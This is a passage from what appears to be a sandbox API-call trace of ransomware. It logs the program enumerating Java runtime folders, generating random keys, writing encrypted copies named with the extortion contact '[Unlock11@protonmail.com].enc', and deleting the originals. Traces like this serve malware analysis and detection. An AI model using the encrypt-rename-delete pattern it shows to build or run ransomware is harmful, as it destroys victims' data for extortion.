lpLocalFileTime=0x9bb4f0) returned 1 [0133.087] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.087] GetLastError () returned 0x0 [0133.087] GetCurrentThreadId () returned 0x9b0 [0133.087] GetLastError () returned 0x0 [0133.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5e8 | out: hHeap=0x2ad0000) returned 1 [0133.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2828 | out: hHeap=0x2ad0000) returned 1 [0133.088] GetLastError () returned 0x0 [0133.088] GetLastError () returned 0x0 [0133.088] GetLastError () returned 0x0 [0133.088] GetLastError () returned 0x0 [0133.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0133.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de4f8 [0133.088] GetLastError () returned 0x0 [0133.088] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.089] GetFileType (hFile=0x3ac) returned 0x1 [0133.089] GetLastError () returned 0x0 [0133.089] GetCurrentThreadId () returned 0x9b0 [0133.089] GetLastError () returned 0x0 [0133.089] GetFileType (hFile=0x3ac) returned 0x1 [0133.089] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.089] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.089] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.089] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.090] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.090] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.090] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.090] GetLastError () returned 0x0 [0133.090] GetCurrentThreadId () returned 0x9b0 [0133.090] GetLastError () returned 0x0 [0133.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4f8 | out: hHeap=0x2ad0000) returned 1 [0133.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0133.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0133.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0133.090] GetLastError () returned 0x0 [0133.090] GetLastError () returned 0x0 [0133.091] GetLastError () returned 0x0 [0133.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0133.091] GetLastError () returned 0x0 [0133.091] GetLastError () returned 0x0 [0133.091] GetLastError () returned 0x0 [0133.091] GetLastError () returned 0x0 [0133.092] GetLastError () returned 0x0 [0133.092] GetLastError () returned 0x0 [0133.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0133.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xb8) returned 0x325f230 [0133.092] GetLastError () returned 0x0 [0133.093] GetLastError () returned 0x0 [0133.093] GetLastError () returned 0x0 [0133.093] GetLastError () returned 0x0 [0133.093] GetLastError () returned 0x0 [0133.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325f230 | out: hHeap=0x2ad0000) returned 1 [0133.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0133.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0133.093] GetLastError () returned 0x0 [0133.093] GetLastError () returned 0x0 [0133.093] GetLastError () returned 0x0 [0133.093] GetLastError () returned 0x0 [0133.094] GetLastError () returned 0x0 [0133.094] GetLastError () returned 0x0 [0133.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8608 | out: hHeap=0x2ad0000) returned 1 [0133.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.094] GetLastError () returned 0x0 [0133.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0133.095] CloseHandle (hObject=0x3ac) returned 1 [0133.095] GetLastError () returned 0x0 [0133.095] GetLastError () returned 0x0 [0133.095] GetLastError () returned 0x0 [0133.095] CloseHandle (hObject=0x39c) returned 1 [0133.096] GetLastError () returned 0x0 [0133.096] GetLastError () returned 0x0 [0133.096] GetLastError () returned 0x0 [0133.096] GetLastError () returned 0x0 [0133.096] GetLastError () returned 0x0 [0133.096] GetLastError () returned 0x0 [0133.096] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 1 [0133.097] GetLastError () returned 0x0 [0133.097] GetLastError () returned 0x0 [0133.097] GetLastError () returned 0x0 [0133.097] GetLastError () returned 0x0 [0133.098] GetLastError () returned 0x0 [0133.098] GetLastError () returned 0x0 [0133.098] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", lpFilePart=0x9bada4*="win32_MoveNoDrop32x32.gif") returned 0x4f [0133.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0133.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0133.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0133.098] GetLastError () returned 0x0 [0133.098] GetLastError () returned 0x0 [0133.098] GetLastError () returned 0x0 [0133.099] GetLastError () returned 0x0 [0133.099] GetLastError () returned 0x0 [0133.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaf58 | out: hHeap=0x2ad0000) returned 1 [0133.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf58 [0133.099] GetLastError () returned 0x0 [0133.099] GetLastError () returned 0x0 [0133.099] GetLastError () returned 0x0 [0133.099] GetLastError () returned 0x0 [0133.099] GetLastError () returned 0x0 [0133.099] GetLastError () returned 0x0 [0133.100] GetLastError () returned 0x0 [0133.100] GetLastError () returned 0x0 [0133.100] GetLastError () returned 0x0 [0133.100] GetLastError () returned 0x0 [0133.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaf58 | out: hHeap=0x2ad0000) returned 1 [0133.100] GetLastError () returned 0x0 [0133.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0133.100] GetLastError () returned 0x0 [0133.100] GetLastError () returned 0x0 [0133.100] GetLastError () returned 0x0 [0133.100] GetLastError () returned 0x0 [0133.101] GetLastError () returned 0x0 [0133.101] GetLastError () returned 0x0 [0133.101] GetLastError () returned 0x0 [0133.101] GetLastError () returned 0x0 [0133.101] GetLastError () returned 0x0 [0133.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0133.101] GetLastError () returned 0x0 [0133.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0133.101] GetLastError () returned 0x0 [0133.101] GetLastError () returned 0x0 [0133.102] GetLastError () returned 0x0 [0133.102] GetLastError () returned 0x0 [0133.102] GetLastError () returned 0x0 [0133.102] GetLastError () returned 0x0 [0133.102] GetLastError () returned 0x0 [0133.102] GetLastError () returned 0x0 [0133.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0133.102] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99)) returned 1 [0133.102] GetLastError () returned 0x0 [0133.102] GetLastError () returned 0x0 [0133.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2040 | out: hHeap=0x2ad0000) returned 1 [0133.103] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bc64 | out: pbBuffer=0x366bc64) returned 1 [0133.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0133.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0133.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0133.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf58 [0133.103] GetLastError () returned 0x0 [0133.103] GetLastError () returned 0x0 [0133.103] GetLastError () returned 0x0 [0133.103] GetLastError () returned 0x0 [0133.103] GetLastError () returned 0x0 [0133.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaf58 | out: hHeap=0x2ad0000) returned 1 [0133.104] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadf0 [0133.104] GetLastError () returned 0x0 [0133.104] GetLastError () returned 0x0 [0133.104] GetLastError () returned 0x0 [0133.104] GetLastError () returned 0x0 [0133.104] GetLastError () returned 0x0 [0133.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eadf0 | out: hHeap=0x2ad0000) returned 1 [0133.104] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de608 [0133.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0133.105] GetLastError () returned 0x0 [0133.105] GetLastError () returned 0x0 [0133.105] GetLastError () returned 0x0 [0133.105] GetLastError () returned 0x0 [0133.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0133.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de4f8 [0133.105] GetLastError () returned 0x0 [0133.105] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0133.105] GetFileType (hFile=0x39c) returned 0x1 [0133.106] GetLastError () returned 0x0 [0133.106] GetLastError () returned 0x0 [0133.106] GetFileType (hFile=0x39c) returned 0x1 [0133.106] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.106] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.106] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.106] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.106] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.106] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.106] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.106] GetLastError () returned 0x0 [0133.106] GetCurrentThreadId () returned 0x9b0 [0133.107] GetLastError () returned 0x0 [0133.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4f8 | out: hHeap=0x2ad0000) returned 1 [0133.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2618 | out: hHeap=0x2ad0000) returned 1 [0133.107] GetLastError () returned 0x0 [0133.107] GetLastError () returned 0x0 [0133.107] GetLastError () returned 0x0 [0133.107] GetLastError () returned 0x0 [0133.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0133.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de5f8 [0133.107] GetLastError () returned 0x0 [0133.107] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0133.108] GetFileType (hFile=0x3ac) returned 0x1 [0133.108] GetLastError () returned 0x0 [0133.108] GetCurrentThreadId () returned 0x9b0 [0133.108] GetLastError () returned 0x0 [0133.108] GetFileType (hFile=0x3ac) returned 0x1 [0133.108] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0133.108] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.108] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.108] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.108] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.109] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0133.109] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0133.109] GetLastError () returned 0x0 [0133.109] GetCurrentThreadId () returned 0x9b0 [0133.109] GetLastError () returned 0x0 [0133.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5f8 | out: hHeap=0x2ad0000) returned 1 [0133.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0133.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0133.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0133.109] GetLastError () returned 0x0 [0133.109] GetLastError () returned 0x0 [0133.109] GetCurrentThreadId () returned 0x9b0 [0133.110] GetLastError () returned 0x0 [0133.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0133.110] GetLastError () returned 0x0 [0133.110] GetLastError () returned 0x0 [0133.110] GetCurrentThreadId () returned 0x9b0 [0133.110] GetLastError () returned 0x0 [0133.110] GetLastError () returned 0x0 [0133.111] GetLastError () returned 0x0 [0133.111] GetCurrentThreadId () returned 0x9b0 [0133.111] GetLastError () returned 0x0 [0133.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0133.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xb8) returned 0x325f9b0 [0133.112] GetCurrentThreadId () returned 0x9b0 [0133.112] GetLastError () returned 0x0 [0133.112] GetLastError () returned 0x0 [0133.112] GetLastError () returned 0x0 [0133.112] GetLastError () returned 0x0 [0133.112] GetCurrentThreadId () returned 0x9b0 [0133.112] GetLastError () returned 0x0 [0133.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325f9b0 | out: hHeap=0x2ad0000) returned 1 [0133.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0133.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0133.112] GetLastError () returned 0x0 [0133.113] GetLastError () returned 0x0 [0133.113] GetCurrentThreadId () returned 0x9b0 [0133.113] GetLastError () returned 0x0 [0133.113] GetLastError () returned 0x0 [0133.113] GetLastError () returned 0x0 [0133.113] GetCurrentThreadId () returned 0x9b0 [0133.113] GetLastError () returned 0x0 [0133.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8608 | out: hHeap=0x2ad0000) returned 1 [0133.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0133.113] GetLastError () returned 0x0 [0133.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0133.115] CloseHandle (hObject=0x3ac) returned 1 [0133.115] GetLastError () returned 0x0 [0133.115] GetCurrentThreadId () returned 0x9b0 [0133.115] GetLastError () returned 0x0 [0133.115] GetLastError () returned 0x0 [0133.115] CloseHandle (hObject=0x39c) returned 1 [0133.115] GetLastError () returned 0x0 [0133.115] GetCurrentThreadId () returned 0x9b0 [0133.116] GetLastError () returned 0x0 [0133.116] GetLastError () returned 0x0 [0133.116] GetLastError () returned 0x0 [0133.116] GetLastError () returned 0x0 [0133.116] GetLastError () returned 0x0 [0133.116] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 1 [0133.117] GetLastError () returned 0x0 [0133.117] GetCurrentThreadId () returned 0x9b0 [0133.117] GetLastError () returned 0x0 [0133.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae90 | out: hHeap=0x2ad0000) returned 1 [0133.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0133.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0133.117] GetCurrentThreadId () returned 0x9b0 [0133.118] GetLastError () returned 0x0 [0133.118] GetLastError () returned 0x0 [0133.118] GetLastError () returned 0x0 [0133.118] GetLastError () returned 0x0 [0133.118] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7510 [0133.118] GetLastError () returned 0x0 [0133.118] GetCurrentThreadId () returned 0x9b0 [0133.118] GetLastError () returned 0x0 [0133.118] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0133.118] GetLastError () returned 0x0 [0133.119] GetCurrentThreadId () returned 0x9b0 [0133.119] GetLastError () returned 0x0 [0133.119] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e8d, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="default.jfc", cAlternateFileName="")) returned 1 [0133.119] GetLastError () returned 0x0 [0133.119] GetCurrentThreadId () returned 0x9b0 [0133.119] GetLastError () returned 0x0 [0133.119] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e61, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="profile.jfc", cAlternateFileName="")) returned 1 [0133.119] GetLastError () returned 0x0 [0133.119] GetCurrentThreadId () returned 0x9b0 [0133.119] GetLastError () returned 0x0 [0133.119] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e61, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="profile.jfc", cAlternateFileName="")) returned 0 [0133.119] GetLastError () returned 0x12 [0133.120] GetCurrentThreadId () returned 0x9b0 [0133.120] GetLastError () returned 0x12 [0133.120] GetLastError () returned 0x12 [0133.120] FindClose (in: hFindFile=0x10f7510 | out: hFindFile=0x10f7510) returned 1 [0133.120] GetCurrentThreadId () returned 0x9b0 [0133.120] GetLastError () returned 0x12 [0133.120] GetLastError () returned 0x12 [0133.120] GetLastError () returned 0x12 [0133.120] GetLastError () returned 0x12 [0133.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0133.120] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20 [0133.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0133.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0133.121] GetLastError () returned 0x12 [0133.121] GetLastError () returned 0x12 [0133.121] GetLastError () returned 0x12 [0133.121] GetLastError () returned 0x12 [0133.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0133.121] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20 [0133.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0133.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaeb8 | out: hHeap=0x2ad0000) returned 1 [0133.122] GetCurrentThreadId () returned 0x9b0 [0133.122] GetLastError () returned 0x12 [0133.122] GetLastError () returned 0x12 [0133.122] GetLastError () returned 0x12 [0133.122] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc", lpFilePart=0x9bada4*="default.jfc") returned 0x36 [0133.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0133.122] GetCurrentThreadId () returned 0x9b0 [0133.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0133.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0133.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0133.123] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc", lpFilePart=0x9bada4*="profile.jfc") returned 0x36 [0133.123] GetCurrentThreadId () returned 0x9b0 [0133.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0133.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0133.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0133.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0133.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0133.123] GetCurrentThreadId () returned 0x9b0 [0133.123] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, 